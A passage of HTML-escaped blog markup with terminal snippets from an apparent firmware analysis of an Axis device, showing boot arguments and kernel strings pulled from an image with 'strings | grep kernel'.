style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; 1fs-&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; UUUU&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; VUUU&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; root=/dev/mtdblock3 mem=64M init=/linuxrc rootfstype=jffs2 i2c-argus&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;sda=15 i2c-argus&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;scl=14 panic=1&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; l&lt;span style=&quot;color: #cc6633;&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #cc6633;&quot;&gt;?&lt;/span&gt;b&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; uncached&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; buffered&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; writethrough&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;snip&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; &lt;a href=&quot;mailto:root@system:%7E/axis/analysis&quot;&gt;root@system:~/axis/analysis&lt;/a&gt;&lt;span style=&quot;color: green;&quot;&gt;# strings until_padding | grep kernel&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum2&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; No init found&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;  Try passing init= option to kernel&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum3&quot; style=&quot;color: #606060;&quot;&gt;   3:&lt;/span&gt; Booting kernel&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum4&quot; style=&quot;color: #606060;&quot;&gt;   4:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;4&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;start_kernel(): bug: interrupts were enabled &lt;span style=&quot;color: #cc6633;&quot;&gt;*&lt;/span&gt;very&lt;span style=&quot;color: #cc6633;&quot;&gt;*&lt;/span&gt; early, fixing it&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum5&quot; style=&quot;color: #606060;&quot;&gt;   5:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;2&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;start_kernel(): bug: interrupts were enabled early&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum6&quot; style=&quot;color: #606060;&quot;&gt;   6:&lt;/span&gt; arch/arm/kernel/process&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum7&quot; style=&quot;color: #606060;&quot;&gt;   7:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;2&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;kernel BUG at %s:%d!&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum8&quot; style=&quot;color: #606060;&quot;&gt;   8:&lt;/span&gt; Division by zero in kernel&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum9&quot; style=&quot;color: #606060;&quot;&gt;   9:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;2&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;%s: bad page in kernel page table&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum10&quot; style=&quot;color: #606060;&quot;&gt;  10:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;1&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;Unable to handle kernel %s at virtual address %08lx&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum11&quot; style=&quot;color: #606060;&quot;&gt;  11:&lt;/span&gt; kernel/sched_rt&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum12&quot; style=&quot;color: #606060;&quot;&gt;  12:&lt;/span&gt; kernel/fork&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum13&quot; style=&quot;color: #606060;&quot;&gt;  13:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;4&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;Disabling lock debugging due to kernel taint&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum14&quot; style=&quot;color: #606060;&quot;&gt;  14:&lt;/span&gt; kernel/exit&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum15&quot; style=&quot;color: #606060;&quot;&gt;  15:&lt;/span&gt; kernel/softirq&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum16&quot; style=&quot;color: #606060;&quot;&gt;  16:&lt;/span&gt; kernel/resource&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum17&quot; style=&quot;color: #606060;&quot;&gt;  17:&lt;/span&gt; kernel/sysctl&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum18&quot; style=&quot;color: #606060;&quot;&gt;  18:&lt;/span&gt; kernel/timer&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum19&quot; style=&quot;color: #606060;&quot;&gt;  19:&lt;/span&gt; kernel/workqueue&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum20&quot; style=&quot;color: #606060;&quot;&gt;  20:&lt;/span&gt; kernel/rcupdate&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum21&quot; style=&quot;color: #606060;&quot;&gt;  21:&lt;/span&gt; kernel/params&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum22&quot; style=&quot;color: #606060;&quot;&gt;  22:&lt;/span&gt; kernel/hrtimer&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum23&quot; style=&quot;color: #606060;&quot;&gt;  23:&lt;/span&gt; kernel/srcu&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum24&quot; style=&quot;color: #606060;&quot;&gt;  24:&lt;/span&gt; kernel/async&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum25&quot; style=&quot;color: #606060;&quot;&gt;  25:&lt;/span&gt; kernel/futex&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum26&quot; style=&quot;color: #606060;&quot;&gt;  26:&lt;/span&gt; kernel/rtmutex&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum27&quot; style=&quot;color: #606060;&quot;&gt;  27:&lt;/span&gt; kernel/up&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum28&quot; style=&quot;color: #606060;&quot;&gt;  28:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;4&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;Please see the file Documentation/feature-removal-schedule&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;txt in the kernel source tree for more details&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum29&quot; style=&quot;color: #606060;&quot;&gt;  29:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;4&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;%s: module license &#39;%s&#39; taints kernel&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum30&quot; style=&quot;color: #606060;&quot;&gt;  30:&lt;/span&gt; kernel/irq/manage&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum31&quot; style=&quot;color: #606060;&quot;&gt;  31:&lt;/span&gt; kernel/irq/chip&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum32&quot; style=&quot;color: #606060;&quot;&gt;  32:&lt;/span&gt; kernel/irq/devres&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;c&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum33&quot; style=&quot;color: #606060;&quot;&gt;  33:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;4&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;You cannot use older JFFS2 filesystems with newer kernels&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum34&quot; style=&quot;color: #606060;&quot;&gt;  34:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;3&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;%s %s: uevent: unsupported action-string; this will be ignored in a future kernel version&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum35&quot; style=&quot;color: #606060;&quot;&gt;  35:&lt;/span&gt; kernel_max&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum36&quot; style=&quot;color: #606060;&quot;&gt;  36:&lt;/span&gt; please mail a stack trace to linux-scsi@vger&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;kernel&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;org&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum37&quot; style=&quot;color: #606060;&quot;&gt;  37:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;&amp;lt;&lt;/span&gt;3&lt;span style=&quot;color: blue;&quot;&gt;&amp;gt;&lt;/span&gt;%s %s: Could not create connection due to crc32c loading error&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt; Make sure the crc32c module is built as a module or into the kernel&lt;/pre&gt;&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum38&quot; style=&quot;color: #606060;&quot;&gt;  38:&lt;/span&gt; kernel_thread&lt;/pre&gt;&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum39&quot; style=&quot;color: #606060;&quot;&gt;  39:&lt;/span&gt; 